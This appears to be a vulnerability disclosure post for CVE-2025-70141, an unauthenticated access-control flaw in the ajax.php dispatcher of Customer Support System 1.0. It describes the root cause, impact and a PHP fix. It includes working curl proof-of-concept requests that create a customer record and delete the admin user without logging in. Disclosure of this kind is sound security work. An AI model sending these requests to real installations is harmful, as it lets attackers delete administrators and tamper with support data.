Post

CVE-2025-70141 - Customer Support System 1.0: Unauthenticated Broken Access Control via ajax.php

Unauthenticated remote attacker can create/delete users including admin, manipulate tickets and departments via unprotected ajax.php dispatcher in Customer Support System 1.0.

CVE-2025-70141 - Customer Support System 1.0: Unauthenticated Broken Access Control via ajax.php

Summary

FieldDetail
CVE IDCVE-2025-70141
ProductCustomer Support System 1.0
VendorSourceCodester (oretnom23)
VulnerabilityBroken Access Control / Missing Authentication
Attack VectorRemote, Unauthenticated
CVSS v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-306, CWE-862
DiscovererMinhKhoa
Date2025-12-20

1. Description

Customer Support System 1.0 contains an Incorrect Access Control vulnerability in customer_support/ajax.php.
The AJAX dispatcher routes requests based solely on the action GET parameter and directly invokes privileged methods in customer_support/admin_class.php without enforcing authentication or authorization.

As a result, a remote unauthenticated attacker can perform sensitive state-changing operations such as:

  • Create customer/staff records (save_customer, save_staff)
  • Create/modify/update/delete tickets (save_ticket, update_ticket, delete_ticket)
  • Delete users (including admin) (delete_user)
  • Delete customers/staff/departments/comments (delete_customer, delete_staff, delete_department, delete_comment)

Severity: High/Critical (Integrity and Availability impact are high; admin deletion can lock out management)

Suggested CVSS v3.1 (estimate): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H


2. Root Cause Analysis

2.1 Missing authentication / authorization in ajax.php

customer_support/ajax.php dispatches actions like:

  • login, logout
  • save_user, delete_user
  • save_customer, delete_customer
  • save_staff, delete_staff
  • save_department, delete_department
  • save_ticket, update_ticket, delete_ticket
  • save_comment, delete_comment
  • save_page_img

without checking whether the requester is logged in (e.g., $_SESSION['login_id']) or whether they have sufficient privileges (admin/staff/customer role checks).

This is a classic CWE-306 (Missing Authentication for Critical Function) / CWE-862 (Missing Authorization) pattern.

Note: Direct page views may redirect to login (302), but the backend action endpoint (ajax.php) remains callable unauthenticated.


3. Steps to Reproduce (PoC)

All requests below are sent without a Cookie header (no prior login required).

PoC #1 — Create a customer (unauthenticated)

1
2
3
4
5
6
7
8
9
curl -i -X POST "http://127.0.0.1:4444/ajax.php?action=save_customer" \
  -F "firstname=poc" \
  -F "middlename=poc" \
  -F "lastname=poc" \
  -F "contact=123" \
  -F "address=poc_addr" \
  -F "email=poc_$(date +%s)@test.com" \
  -F "password=admin" \
  -F "cpass=admin"

alt text

Observed result: HTTP 200 with body 1 (success).
The new record is created in the database and appears in the customer list.


PoC #2 — Delete admin user (unauthenticated)

1
curl -i -X POST "http://127.0.0.1:4444/ajax.php?action=delete_user" -d "id=1"

In burp:

Observed result: HTTP 200 with body 1 (success).
The target user record is deleted. If id=1 is admin (default deployments), administration can be locked out.

alt text

Additional exposed actions (unauthenticated)

These actions are also reachable in the same way, because they share the same root cause in ajax.php:

  • POST /ajax.php?action=save_staff
  • POST /ajax.php?action=save_ticket
  • POST /ajax.php?action=update_ticket with body like id=<ticket_id>&status=<value>
  • POST /ajax.php?action=delete_ticket with body id=<ticket_id>

4. Impact

  • Unauthorized data creation/modification/deletion across core objects: users/admins, staff, customers, tickets, departments, comments
  • Privilege escalation in practice: unauth attacker can create accounts and manipulate ticket lifecycle/assignments

5. Recommendation / Fix

5.1 Enforce authentication at the entry point (ajax.php)

At the top of customer_support/ajax.php, before dispatching actions:

1
2
3
4
5
session_start();
if (!isset($_SESSION['login_id'])) {
  http_response_code(403);
  exit;
}

5.2 Add per-action authorization checks

  • Only admins can delete_user, save_user, delete_department, etc.
  • Ownership checks for tickets/comments (customer can only modify their own tickets, staff only tickets assigned to them)

5.3 Add CSRF protections

Because these are state-changing actions, add CSRF tokens to prevent cross-site request forgery once authentication exists.


6. References

  • SourceCodester download page:
    https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
This post is licensed under CC BY 4.0 by the author.